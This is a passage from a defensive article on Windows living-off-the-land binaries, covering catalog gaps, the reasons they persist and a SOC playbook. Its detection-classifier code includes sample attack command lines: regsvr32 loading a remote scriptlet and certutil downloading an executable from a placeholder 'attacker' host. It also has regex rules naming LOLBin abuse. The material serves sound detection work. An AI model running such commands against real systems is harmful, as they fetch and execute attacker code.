&lt;td&gt;AMSI + CLM&lt;/td&gt;
&lt;td&gt;In-process&lt;/td&gt;
&lt;td&gt;PowerShell and AMSI-instrumented hosts only&lt;/td&gt;
&lt;td&gt;Free; instrumented automatically&lt;/td&gt;
&lt;td&gt;Non-AMSI host (older COM scriptlet, Lua) bypasses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LOLBAS catalog&lt;/td&gt;
&lt;td&gt;Reference&lt;/td&gt;
&lt;td&gt;207 binaries&lt;/td&gt;
&lt;td&gt;Community editorial cost&lt;/td&gt;
&lt;td&gt;Out-of-catalog LOLBin missed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ML LOTL&lt;/td&gt;
&lt;td&gt;Runtime&lt;/td&gt;
&lt;td&gt;Generalizes beyond catalog&lt;/td&gt;
&lt;td&gt;Retraining cost&lt;/td&gt;
&lt;td&gt;False-positive flood; adversarial drift&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver blocklist&lt;/td&gt;
&lt;td&gt;Load (kernel)&lt;/td&gt;
&lt;td&gt;Sibling class (drivers, not binaries)&lt;/td&gt;
&lt;td&gt;Microsoft and community curation&lt;/td&gt;
&lt;td&gt;Vulnerable driver loads pre-blocklist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;code&gt;powershell.exe&lt;/code&gt; is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is &lt;em&gt;instrument deeply, do not deny&lt;/em&gt;; for the rest of the catalog the response is &lt;em&gt;deny when feasible&lt;/em&gt;. There is no published Microsoft criterion explaining when each strategy applies.&lt;/p&gt;
&lt;p&gt;Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&amp;amp;CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:&lt;/p&gt;
&lt;p&gt;{`
// A minimal classifier that takes a candidate Windows command line and
// returns the LOLBAS function category it appears to match. Real SOC
// content compiles the YAML at build time and emits a rule per entry.&lt;/p&gt;
&lt;p&gt;const PATTERNS = [
  { binary: &apos;regsvr32&apos;, re: /regsvr32(\.exe)?.+\/i:https?:/i,  cat: &apos;Execute (AWL Bypass)&apos; },
  { binary: &apos;rundll32&apos;, re: /rundll32(\.exe)?\s+.+\.dll,/i,     cat: &apos;Execute&apos; },
  { binary: &apos;mshta&apos;,    re: /mshta(\.exe)?\s+(https?:|vbscript:|javascript:)/i, cat: &apos;Execute&apos; },
  { binary: &apos;certutil&apos;, re: /certutil(\.exe)?.+(-urlcache|-decode)/i, cat: &apos;Download / Decode&apos; },
  { binary: &apos;bitsadmin&apos;,re: /bitsadmin(\.exe)?.+\/transfer/i,    cat: &apos;Download&apos; },
  { binary: &apos;msbuild&apos;,  re: /msbuild(\.exe)?\s+.+\.csproj|\.xml/i, cat: &apos;Compile&apos; },
  { binary: &apos;installutil&apos;, re: /installutil(\.exe)?\s+\/u\s+/i, cat: &apos;Execute&apos; },
  { binary: &apos;wfc&apos;,      re: /(microsoft\.workflow\.compiler|wfc)(\.exe)?/i, cat: &apos;Compile&apos; }
];&lt;/p&gt;
&lt;p&gt;function classify(cmd) {
  for (const p of PATTERNS) {
    if (p.re.test(cmd)) return { binary: p.binary, category: p.cat };
  }
  return null;
}&lt;/p&gt;
&lt;p&gt;const samples = [
  &apos;regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll&apos;,
  &apos;certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\users\\x.exe&apos;,
  &apos;msbuild.exe project.csproj /t:Build&apos;,
  &apos;wfc.exe rules.xoml config.txt&apos;
];
for (const s of samples) console.log(s, &apos;-&amp;gt;&apos;, classify(s));
`}&lt;/p&gt;
&lt;p&gt;Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.&lt;/p&gt;
&lt;h2&gt;8. Three Taxonomies, Three Counts&lt;/h2&gt;
&lt;p&gt;Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LOLBAS&lt;/strong&gt; is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&amp;amp;CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (&lt;em&gt;System Binary Proxy Execution&lt;/em&gt;, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (&lt;em&gt;System Script Proxy Execution&lt;/em&gt;) [@attack-t1216]; T1127 (&lt;em&gt;Trusted Developer Utilities Proxy Execution&lt;/em&gt;) [@attack-t1127]; T1197 (&lt;em&gt;BITS Jobs&lt;/em&gt;) [@attack-t1197]; T1140 (&lt;em&gt;Deobfuscate/Decode Files or Information&lt;/em&gt;); and T1105 (&lt;em&gt;Ingress Tool Transfer&lt;/em&gt;). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft&apos;s App Control Recommended Block Rules&lt;/strong&gt; denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt;, conditionally &lt;code&gt;msbuild.exe&lt;/code&gt;, and the older &lt;code&gt;system.management.automation.dll&lt;/code&gt; versions that allowed Constrained Language Mode bypass.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;LOLBAS&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;App Control Block Rules&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What counts as an entry&lt;/td&gt;
&lt;td&gt;Per-binary YAML file&lt;/td&gt;
&lt;td&gt;Per-technique node&lt;/td&gt;
&lt;td&gt;Per-binary deny rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Count (May 2026)&lt;/td&gt;
&lt;td&gt;234 (207 binaries + 27 libs/scripts)&lt;/td&gt;
&lt;td&gt;~6 top-level techniques, ~12 LOLBin sub-techniques&lt;/td&gt;
&lt;td&gt;~40 binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update mechanism&lt;/td&gt;
&lt;td&gt;GitHub pull request, community editorial board&lt;/td&gt;
&lt;td&gt;MITRE editorial cycle (quarterly)&lt;/td&gt;
&lt;td&gt;Microsoft Learn page revision&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement?&lt;/td&gt;
&lt;td&gt;None -- reference only&lt;/td&gt;
&lt;td&gt;None -- reference and CTI&lt;/td&gt;
&lt;td&gt;Yes -- kernel-mode App Control deny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primary audience&lt;/td&gt;
&lt;td&gt;Detection engineers, red teams&lt;/td&gt;
&lt;td&gt;Threat intel analysts, CISO reporting&lt;/td&gt;
&lt;td&gt;Enterprise App Control administrators&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart TB
    subgraph LOLBAS[&quot;LOLBAS: 207 binaries&quot;]
        L1[&quot;~40 covered by Block Rules&quot;]
        L2[&quot;~167 binaries not denied by default&quot;]
    end
    subgraph MITRE[&quot;MITRE ATT&amp;amp;CK: ~12 LOLBin sub-techniques&quot;]
        M1[&quot;Cites LOLBAS as primary source&quot;]
    end
    subgraph Block[&quot;App Control Block Rules: ~40 binaries&quot;]
        B1[&quot;Subset of LOLBAS&quot;]
    end
    L1 -.- B1
    L2 -. &quot;the gap&quot; .-&amp;gt; Gap[&quot;167-binary residual&quot;]
    MITRE -.- LOLBAS
&lt;p&gt;The discrepancy is the load-bearing observation of this article. &lt;em&gt;207 known&lt;/em&gt; versus &lt;em&gt;~40 denied&lt;/em&gt;. The 167-binary residual is the gap between &lt;em&gt;what the community has proven possible&lt;/em&gt; and &lt;em&gt;what Microsoft will deny by default&lt;/em&gt;. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;certutil.exe&lt;/code&gt;, and &lt;code&gt;bitsadmin.exe&lt;/code&gt; are all in LOLBAS, all in MITRE ATT&amp;amp;CK, and none of them denied by default.&lt;/p&gt;
&lt;p&gt;Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@bohops-wdac] that explicitly tracks the &lt;em&gt;superset&lt;/em&gt; of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe&apos;s pre-LOLBAS &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the &lt;em&gt;real&lt;/em&gt; upper bound on LOLBin candidates.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft &lt;em&gt;will not&lt;/em&gt; deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.&lt;/p&gt;
&lt;h2&gt;9. The Architectural Argument: Why LOLBins Cannot Be Eliminated&lt;/h2&gt;
&lt;p&gt;Here is the thesis. The LOLBin class is not a defect to be fixed. It is a &lt;em&gt;property&lt;/em&gt; of a thirty-year-old design decision that the entire Windows administration model now depends on.&lt;/p&gt;
&lt;p&gt;The argument has four steps, and each step is empirically grounded in something this article has already shown.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1.&lt;/strong&gt; Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under &lt;code&gt;%windir%&lt;/code&gt; or &lt;code&gt;%programfiles%&lt;/code&gt; via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2.&lt;/strong&gt; A LOLBin is &lt;em&gt;any&lt;/em&gt; signed binary that exposes a &quot;load and execute attacker-controlled payload&quot; surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a &lt;code&gt;[RunInstaller(true)]&lt;/code&gt; class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3.&lt;/strong&gt; Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove &lt;code&gt;msbuild.exe&lt;/code&gt; without breaking the developer toolchain. It cannot remove &lt;code&gt;regsvr32.exe&lt;/code&gt; without breaking COM registration. It cannot remove &lt;code&gt;bitsadmin.exe&lt;/code&gt; without breaking corporate update servers that depend on the BITS channel. It cannot remove &lt;code&gt;certutil.exe&lt;/code&gt; without breaking certificate-installation workflows that ship in every Active Directory deployment guide.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4.&lt;/strong&gt; Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.&lt;/p&gt;

flowchart TD
    Problem[&quot;Signed binary with load-and-execute primitive,&lt;br /&gt;abused with attacker arguments&quot;]
    Problem --&amp;gt; A[&quot;Option A: Revoke from default trust path&quot;]
    Problem --&amp;gt; B[&quot;Option B: Layer behavioral blocks&quot;]
    Problem --&amp;gt; C[&quot;Option C: Rebuild system-administration model&quot;]
    A --&amp;gt; A1[&quot;App Control Recommended Block Rules (~40 binaries)&quot;]
    A --&amp;gt; A2[&quot;Microsoft Recommended Driver Block Rules&quot;]
    B --&amp;gt; B1[&quot;ASR, Smart App Control, EDR, AMSI, Constrained Language Mode&quot;]
    C --&amp;gt; C1[&quot;Not shipping. Would break Windows administration.&quot;]
    style C stroke:#888,stroke-dasharray: 5 5
    style C1 stroke:#888,stroke-dasharray: 5 5
&lt;p&gt;The strongest evidence that Microsoft itself accepts this framing is the &lt;code&gt;msbuild.exe&lt;/code&gt; deny-list entry quoted in Section 5 -- a &lt;em&gt;context-dependent&lt;/em&gt; rule that denies &lt;code&gt;msbuild.exe&lt;/code&gt; unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether &lt;code&gt;msbuild.exe&lt;/code&gt; is a LOLBin depends on what the machine is used for. There is no possible &lt;em&gt;universal&lt;/em&gt; deny rule for &lt;code&gt;msbuild.exe&lt;/code&gt; because there is no universal answer to &lt;em&gt;do you build .NET projects on this machine?&lt;/em&gt;. The deny list can only ever encode the policy for the use case the administrator has in mind.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A theoretically clean fix exists and is worth naming. It would attach a &lt;em&gt;behavioral capability description&lt;/em&gt; to each Authenticode-signed binary at sign time -- something like &lt;em&gt;this binary may load and execute COM scriptlets from URLs&lt;/em&gt;, or &lt;em&gt;this binary may compile and run unsigned C# from disk&lt;/em&gt;. App Control policy would then enforce on the &lt;em&gt;capability set&lt;/em&gt; rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator&apos;s policy, exceeded the policy&apos;s high-water mark.&lt;/p&gt;

A capability-extended Authenticode -- in which each signed binary&apos;s metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft&apos;s public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.
&lt;p&gt;A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- &lt;em&gt;does this signed binary, invoked with these arguments, execute attacker-controlled code?&lt;/em&gt; -- is Rice-class undecidable in the limit. By Rice&apos;s theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.&lt;/p&gt;
&lt;p&gt;The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.&lt;/p&gt;
&lt;p&gt;If the class cannot be eliminated, the next honest question is: what &lt;em&gt;cannot&lt;/em&gt; be fixed even in principle, and what work is still open? That is the next section.&lt;/p&gt;
&lt;h2&gt;10. Eight Open Problems in 2026&lt;/h2&gt;
&lt;p&gt;Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;th&gt;What has been tried&lt;/th&gt;
&lt;th&gt;Why it isn&apos;t fixed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Block-list latency&lt;/td&gt;
&lt;td&gt;Disclosure-to-deny lag is months to years&lt;/td&gt;
&lt;td&gt;Periodic Recommended Block Rules updates [@ms-bypass-rules]&lt;/td&gt;
&lt;td&gt;Microsoft does not publish a SLA; no quantitative lag study exists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version-pinned bypass via older signed copies&lt;/td&gt;
&lt;td&gt;Attacker drops a 2017-vintage signed &lt;code&gt;wfc.exe&lt;/code&gt; from an archive; deny list misses it&lt;/td&gt;
&lt;td&gt;Hash-revocation rules per binary&lt;/td&gt;
&lt;td&gt;Asymptotic completeness of the hash list is unattainable in practice&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smart App Control silent disable&lt;/td&gt;
&lt;td&gt;A protected device becomes unprotected with no admin signal&lt;/td&gt;
&lt;td&gt;Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support]&lt;/td&gt;
&lt;td&gt;Silent disable itself remains by design&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No capability-extended Authenticode&lt;/td&gt;
&lt;td&gt;Publisher trust has no first-class representation of behavior&lt;/td&gt;
&lt;td&gt;Discussed in academic and red-team writing; not on Microsoft roadmap&lt;/td&gt;
&lt;td&gt;See Section 9: would require re-signing the world&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI gaps in non-AMSI script hosts&lt;/td&gt;
&lt;td&gt;Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI&lt;/td&gt;
&lt;td&gt;Microsoft instrumented PowerShell, JScript, VBScript&lt;/td&gt;
&lt;td&gt;Third-party script hosts opt in or do not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detection-engineering economics&lt;/td&gt;
&lt;td&gt;Per-LOLBin rule authoring scales linearly with catalog growth&lt;/td&gt;
&lt;td&gt;Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection]&lt;/td&gt;
&lt;td&gt;LOLBAS adds entries faster than rules can be generalized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage gap LOLBAS vs MITRE vs Block Rules&lt;/td&gt;
&lt;td&gt;No published mapping reconciles all three&lt;/td&gt;
&lt;td&gt;Manual cross-references in vendor documentation&lt;/td&gt;
&lt;td&gt;Each project has different editorial scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The PowerShell special case&lt;/td&gt;
&lt;td&gt;&quot;Instrument deeply&quot; for one host, &quot;deny&quot; for the others&lt;/td&gt;
&lt;td&gt;AMSI + CLM + script-block logging&lt;/td&gt;
&lt;td&gt;No published Microsoft criterion for when each applies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:&lt;/p&gt;

We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025. -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]
&lt;p&gt;A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.&lt;/p&gt;
&lt;p&gt;Two of the eight problems deserve a closer look. Smart App Control&apos;s silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft&apos;s cloud service cannot make a confident prediction about the user&apos;s typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet &lt;code&gt;powershell.exe&lt;/code&gt; is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is &lt;em&gt;instrument deeply, do not deny&lt;/em&gt;. For the rest of the LOLBAS catalog the answer is &lt;em&gt;deny when feasible, detect otherwise&lt;/em&gt;. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft&apos;s security engineering organization.&lt;/p&gt;
&lt;p&gt;If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.&lt;/p&gt;
&lt;h2&gt;11. A 2026 LOLBin Defense Playbook&lt;/h2&gt;
&lt;p&gt;Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy App Control for Business in &lt;em&gt;enforce&lt;/em&gt; mode with the Recommended Block Rules merged into the base policy.&lt;/strong&gt; This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; community superset [@bohops-wdac] is the standard reference.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints.&lt;/strong&gt; Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Apply the LOLBin-relevant ASR rules in block mode&lt;/strong&gt; [@ms-asr-rules-ref]: &lt;em&gt;Block all Office applications from creating child processes&lt;/em&gt; (1709+), &lt;em&gt;Block executable content from email client and webmail&lt;/em&gt; (1709+), &lt;em&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/em&gt; (1709+), &lt;em&gt;Block use of copied or impersonated system tools&lt;/em&gt; (1709+), and &lt;em&gt;Block process creations originating from PSExec and WMI commands&lt;/em&gt; (1803+). Coverage on Windows 11 24H2 is uniform.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deploy SwiftOnSecurity&apos;s &lt;code&gt;sysmon-config&lt;/code&gt; as a baseline&lt;/strong&gt; [@swiftonsec]; consider &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt; [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry&apos;s &lt;em&gt;Detection&lt;/em&gt; field. The Splunk Research analytic &lt;code&gt;25689101-012a-324a-94d3-08301e6c065a&lt;/code&gt; for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Write detection content for the canonical eight.&lt;/strong&gt; Parent-child plus argument patterns for &lt;code&gt;regsvr32&lt;/code&gt;, &lt;code&gt;mshta&lt;/code&gt;, &lt;code&gt;certutil&lt;/code&gt;, &lt;code&gt;rundll32&lt;/code&gt;, &lt;code&gt;bitsadmin&lt;/code&gt;, &lt;code&gt;msbuild&lt;/code&gt;, &lt;code&gt;installutil&lt;/code&gt;, and &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103).&lt;/strong&gt; Constrained Language Mode activates automatically when an App Control policy is in &lt;em&gt;enforce&lt;/em&gt; on the script file&apos;s location, so step 1 also pays for the PowerShell hardening.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Subscribe to LOLBAS GitHub releases.&lt;/strong&gt; New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC&apos;s monthly review cadence so that a new XML version is integrated within one patch cycle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Map your detections to MITRE ATT&amp;amp;CK technique IDs.&lt;/strong&gt; T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;For the driver class, enable HVCI on supported hardware.&lt;/strong&gt; The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference &lt;code&gt;loldrivers.io&lt;/code&gt; [@loldrivers] for SIEM rule input.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft&apos;s own guidance is to deploy every new App Control policy in &lt;em&gt;audit&lt;/em&gt; mode for two to four weeks before flipping to &lt;em&gt;enforce&lt;/em&gt;. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the &lt;code&gt;msbuild.exe&lt;/code&gt; developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A 2026 SOC&apos;s top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:&lt;/p&gt;
&lt;p&gt;{`
// The minimal cross-binary detection logic a SOC writes for the canonical
// eight LOLBins. Each rule is a parent-child pair plus an argument regex.
// Production rules add tuning fields (user-context allow-lists, signing
// chain checks, network destination reputation), but this is the spine.&lt;/p&gt;
&lt;p&gt;const RULES = [
  { name: &apos;Squiblydoo (regsvr32)&apos;,  parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\.exe$/i, child: /regsvr32\.exe$/i, args: /\/i:https?:/i },
  { name: &apos;Mshta remote&apos;,           parent: /(cmd|powershell|outlook|winword|excel)\.exe$/i, child: /mshta\.exe$/i, args: /(https?:|javascript:|vbscript:)/i },
  { name: &apos;Certutil download&apos;,      parent: /.&lt;em&gt;/i, child: /certutil\.exe$/i, args: /-urlcache.+-f\s+https?:/i },
  { name: &apos;Bitsadmin transfer&apos;,     parent: /.&lt;/em&gt;/i, child: /bitsadmin\.exe$/i, args: /\/transfer\s+/i },
  { name: &apos;Msbuild inline&apos;,         parent: /(cmd|powershell|wscript|cscript)\.exe$/i, child: /msbuild\.exe$/i, args: /\.(csproj|xml|build)\b/i },
  { name: &apos;InstallUtil /U&apos;,         parent: /(cmd|powershell)\.exe$/i, child: /installutil\.exe$/i, args: /\/u\s+/i },
